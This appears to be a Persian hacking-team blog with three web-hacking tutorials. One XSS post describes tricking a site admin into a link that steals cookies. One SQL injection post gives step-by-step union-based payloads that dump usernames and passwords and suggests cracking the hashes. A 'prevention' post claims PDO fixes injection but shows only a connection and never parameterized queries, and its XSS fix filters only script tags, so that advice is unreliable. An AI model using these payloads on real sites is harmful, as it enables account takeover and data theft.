تیم سایبری محمد رسول الله

خانه درباره ما تماس با ما shell package <tel> کانال <tel/>

اموزش باگ xss + پچ باگ

 

به نام خدا

 

با اموزش باگ xss از سری اموزش های وب هکینگ در خدمت شما هستیم اگر تاحالا بقیه اموزش های دورمون رو ندیدین میتونین از منو موضوعات دوره تست نفوذ وب رو انتخاب کنید

 

 

باگ xss چیست؟

این باگ شایع ترین باگ در بحث وب هکینگه که باعث اجرای اسکریپت داخل سایت میشه اما این اسکریپت در سمت کلاینت یعنی کاربر رخ میده و داخل اطلاعات سایت تاثیری نمیزاره ولی این میتونه تو حملات فیشینگ خیلی خطرناک باشه کار با این باگ خیلی سادست و فقط باید جاوا اسکریپت رو بلد باشین  این باگ در ورودی ها رخ میده

ورودی میتونه هر چیزی مثل بخش جستوجو کامنت ها و مکان هایی که یک ورودی رو میگیره باشه اما تا اینجا شاید یه باگ بدرد نخور به نظر بیاد بزارین برای اینکه بهتر اهمیتش رو متوجه بشین یک سناریو رو باهم دیگه پیش بریم

( البته هک کردن وبسایت در صورتی که ادمین مطلع نباشه جرمه و جریمه سنگینی داره(کمش زندانه) اینکه با فیلترشکن کسی شمارو نمیشناسه رو بندازین دور... )

 

 

اموزش باگ xss :

ببینید به عنوان مثال سایت ما باگ xss داره خب ما میایم یک کد جوا مینویسیم و با اون میگیم کد جاوا اسکریپتی که در فلان ادرس هست رو داخل سایت اجرا کنه داخل کد جاوا اسکریپتی که داخل هاستمون ذخیره کردیم هم میگیم بیاد  کوکی ها و سشن های کاربران رو در یک فایل داخل هاست ذخیره کنه

حالا ادرس سایتی که اسیب پذیره رو به ادمین سایت میدیم و اونرو مجبور میکنیم که کلیک کنه مثلا میگیم این لینک خرابه یا چرا اینجوریه این صفحه و... بعد از کلیک کردن اون کوکی ها و سشنش برای ما سیو میشه و ما میتونیم به راحتی وارد پنل ادمین اون سایته بشیم J به همین راحتی

 

 

این فقط یک سناریو ساده بود که تعریف کردیم تا اونهایی که سایت دارن بیشتر توجه کنن برای تست این باگ هم میتونید تکه کد زیر رو داخل مرورگر خودتون(حتما فایرفاکس باشه) تست بزنین

<script> alet(“xss bug!”) </script>

به چیزی مثل زیر برخوردین یعنی باگ داره

 

 

پچ باگ xss :

برای پچ کردن این باگ هم باید ورودی هارو فیلتر کنین مثلا عباراتی مثل

<script>  و </script> و...

 

همچنین از افزونه های امنیتی در وردپرس هم میتونید استفاده کنید

جهت اطلاع ادمین سایت ها کد هایی که ماداخل سناریو گفتیم داخل اینترنت هست و نیازی به یادگیری جوا اسکریپت هم نداره! همین قدر ساده ...

هر سوال یا ابهامی داشتین داخل نظرات بگین تا پاسخگو باشیم

تیم ما هیچگونه مسئولیتی درقبال سوء استفاده برخی از افراد ندارد

۰۶ مرداد ۰۰ ، ۱۷:۴۵ ۰ نظر

اموزش جلوگیری از باگ sql injection در وردپرس و php

به نام خدا

 

همونطور که در مطلب قبلی اشاره کردیم باگ sql injection بشدت فراگیر و خطرناک هست در همین جهت تصمیم گرفتیم در یک مطلب جداگانه روش کامل جلوگیری یا پچ کردن باگ sql injection رو بگیم

 

 

جلوگیری از باگsql injectin  در php :

برای پچ این باگ در php باید با استفاده از کتابخانه PDO ( php Database Opject) این کتابخانه علاوه بر امکانات امنیتی امکانات بسیار دیگری دارد که در ادامه خواهیم گفت

اتصال به دیتابیس در این کتابخانه خیلی راحته و با یک خط کد میشه این رو نوشت همچنین اگر در بین کار مجبور شدید سرور و دیتابیس خودتون رو تغییر بدین فقط و فقط با تغییر خط کد میتونید این کارو کنید

به عنوان مثال برای اتصال به دیتابیس در PDO باید مثل کد زیر عمل کنیم

 

$connection = new PDO('mysql:host=host;dbname=Database','username', 'password');

 

اینجا یک متغییر تعریف کردیم و یک کانکشن جدید ساختیم که سه تا ورودی می گیره اولین ورودی که نوع دیتابیس شما هست که داخل ورودی اول دو پارامتر میگیره که اولین پارامترش نوع دیتابیس هست دومین هم نام سرور و سومین پارامترش هم اسم دیتا بیسمون هست

در ورودی دوم یوزرنیم دیتابیس و در ورودی سوم هم پسورد رو میگیره

که نمونه کامل ترش رو برای مای اسکیوال می تونید ببینید

 

$connection = new PDO('mysql:host=localhost;dbname=opensecurity','root', 'root');

 

در پایین هم یک تیکه کد برای مثال از اتصال و کنترل ارور های اتصال در این کتابخانه رو می بینید

 

<?php
$servername = "localhost";
$username = "username";
$password = "password";

try {
  $conn = new PDO("mysql:host=$servername;dbname=myDB", $username, $password);
  // set the PDO error mode to exception
  $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  echo "Connected successfully";
} catch(PDOException $e) {
  echo "Connection failed: " . $e->getMessage();
}
?>

 

 

 

جلوگیری از باگ sql injection در سیستم مدیریت محتوای وردپرس :

خوشبختانه خود هسته وردپرس همچین باگی رو نداره اما ممکنه پلاگین ها و قالب هایی که نصب میکنید این باگ رو در ورودی هایی که میگیرن داشته باشن در همین جهت باید در نصب پلاگین ها وقالب ها دقت کنید که باگ نداشته باشن

اما اگر افزونه یا قالبی بود که باگ رو داشت و نمی خواستین حذفش کنین باید از پلاگین امنیتی wordfence استفاده کنین چون این پلاگین تمام ورودی ها رو قبل از تحلیل شدن اسکن میکنه و اگه مخرب باشن از اجرا شون جلوگیری میکنه که این خودش میتونه چندین باگ رو برطرف کنه علاوه براین وردفنس فایل های موجود رو هم اسکن میکنه و اگر پلاگین یا هر چیز الوده دیگه ای باشه اون رو حذف می کنه که این هم خیلی خوبه چون مثل یک انتی ویروس عمل می کنه همچنین میتونه تا حدی جلو اسپم ها و حملات دیداس رو بگیره و کمک زیادی به سایت شما می کنه و در کل افزونه امنیتی کامل و جامعی هست که به مدیران وبسایت ها این رو توصیه می کنیم

 

اگر هر سوالی داشتین در بخش نظرات بگین تا پاسخگو باشیم

اگر ایراد یا مشکلی هم در مطلب بود حتما در بخش نظرات بگین

۲۳ تیر ۰۰ ، ۱۷:۳۹ ۰ نظر

اموزش کامل باگ sql injection

به نام خدا

با یه قسمت دیگه از دوره تست نفوذ وب در خدمتتون هستیم در این قسمت با ام اموزش کامل باگ sql injection در خدمتتون هستیم

باگ sqli چیست؟

این باگ از طریق ورودی ها که معمولا از نوع گت هستن و هیچ فیلترینگی روشون انجام نمیشه بوجود میاد که باعث اجرا دستورات sql در پایگاه داده هامون میشه که خیلی خطرناکه و کوچک ترین کاری که میشه انجام داد خوندن یوزر نیم و پسورد ادمین هست

 

 

چرا بصورت دستی طزریق رو انجام بدیم؟

چون در روش های دستی بایپس هایی هست که میشه waf ها که در ورودی ها فیلترینگ میزارن رو دور زد!

 

چرا باگ sql injection :

این باگ سطح دسترسی بالایی داره و خیلی از سایت ها حتی بعضی از cms ها هم این باگ رو دارن و خیلی مورد استفاده قرار میگیره

اموزش کامل باگ sql injection :

تست باگ :

بعد از عدد موجود تک کوتیشن میزاریم مثل زیر

         

example.com/index.php?id=1    >>>    exaple.com/index.php?id=1'

اگر سایت خراب لود شد یا ارور مای اسکیوال داد (واکنشی نشون داد) یعنی باگ داره

 

 

 

استخراج تعداد دیتا بیس:

باید عبارت order by

رو به اخر ادرس سایت اضافه کنیم و در اخر هم از بزرگ به کوچک به صورت حدسی تعداد دیتابیس هارو تست کنیم هروقت سایت بدون ارور لود شد به تعداد همان عدد ی که گذاشتین(بزرگ ترین عددی که کامل لود میشه!) دیتابیس داره و در اخر هم

 --+ رو اضافه میکنیم

        

  example : >>>    example.com/index.php?id=1+order+by+20--+  >>>  example.com/index.php?id=1+order+by+8--+  

 

استخراج دیتابیس های اسیب پذیر:

به عنوان مثال ما هشت دیتابیس داریم که برای دیدن دیتابیس اسیب پذیر باید اون هارو مانند زیر به ترتیب بنویم

         

 example:    >>>    example.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8

حالا دیتابیس های اسیب پذیر رو نشون میده

 

استخراج نام و ورژن دیتا بیس:

 

باید به جای عدد دیتابیس های اسیب پذیر برای ورژن از

          version()

 و برای نام دیتا بیس هم

          database()

رو میزاریم

 

 

استخراج جداول موجود در دیتابیس اسیب پذیر:

ابتدا به جای دیتا بیس اسیب پذیر

group_cocat(table_name)

و در اخر هم برای اینکه جداول رو بخونیم باید اون هارو از information_schema.tables ایمپورت کنیم برای همین این کد را به خط اضافه میکنیم

from information_scema.tables

حالا تمام جداول رو نشون میده ولی ما جداول موجود در دیتا بیس اسیب پذیر رو میخوایم برای همین از دستور شرطی where استفاده میکنیم و میگیم جداول موجود در دیتابیس مورد نظرمون رو میخوایم پس باید دستور زیر روهم اضافه کنیم

Where table_schema=database()

دستور کلی مون به شکل زیر میشه (اگر دیتابیس 3 اسیب پذیر باشه)

example.com/index.php?id=1+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()

 

حالا اسم جداول رو نشونمون میده که باید جدول مهم رو انتخاب کنیم (به عنوان مثال users)

 

استخراج اطلاعات از جداول دیتابیس های اسیب پذیر :

باید در گروپ کانکت بجای (table_name) ,(column_name) رو قرار بدیم

و قبل از where هم به جای .tables باید columns رو قرار بدیم

همچنین بعد از where هم بجای table_schema باید table_name بزاریم در اخر هم به جای دیتابیس باید اسم جدولی که انتخاب کردین رو داخل تک کوتیشن بزارین

دستور کلی مون به شکل زیر میشه:

example.com/index.php?id=1+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_name=’users’

حالا لیست ستون ها رو نشونمون میده

برای استخراج اطلاعات ستون ها باید اسم جدول رو یه جا کپی کنیم و تا بعد از دستور from رو پاک کنیم و بجاش اسم جدول رو بزاریم

داخل گروپ کانکت هم باید بجای column_name ستون هایی رو که میخواییم رو بهش بدیم (مثلا ما یوزر و پسورد رو انتخاب میکنیم) برای اینکه دو تا ستون رو با کارکتر های مختلف از جدا کنیم باید هگز شده اون کاراکتر هارو بین دو تا ستون بزاریم(مثلا هگز شده دو نقطه میشه 0x3a)

دستور کلی ما به شکل زیر میشه:

example.com/index.php?id=1+union+select+1,2,group_concat(user,0x3a,passwords),4,5,6,7,8+from+users

حالا یوزر ها و پسورد ها رو نشون میده فقط برای امنیت پسورد هارو هش میکنه که میتونید با ابزار های انلاین هش رو بشکنین

 

 

بایپسwaf ها :

بایپس های زیادی برای این باگ وجود داره که در یک مطلب دیگه در اختیارتون میزاریم

 

پچ کردن باگ sql injection :

چونکه برای پچ این باگ نیاز به پلاگین ها و دستورات php بود اون رو داخل این مطلب گفتیم

 

تیم ما هیچگونه مسئولیتی در قبال سوء استفاده برخی افراد ندارد و این اموزش فقط جنبه اگاهی از نحوه انجام اینگونه حملات بود و بزودی نحوه پچ کردن باگ رو قرار میدیم

۲۱ تیر ۰۰ ، ۱۲:۱۶ ۰ نظر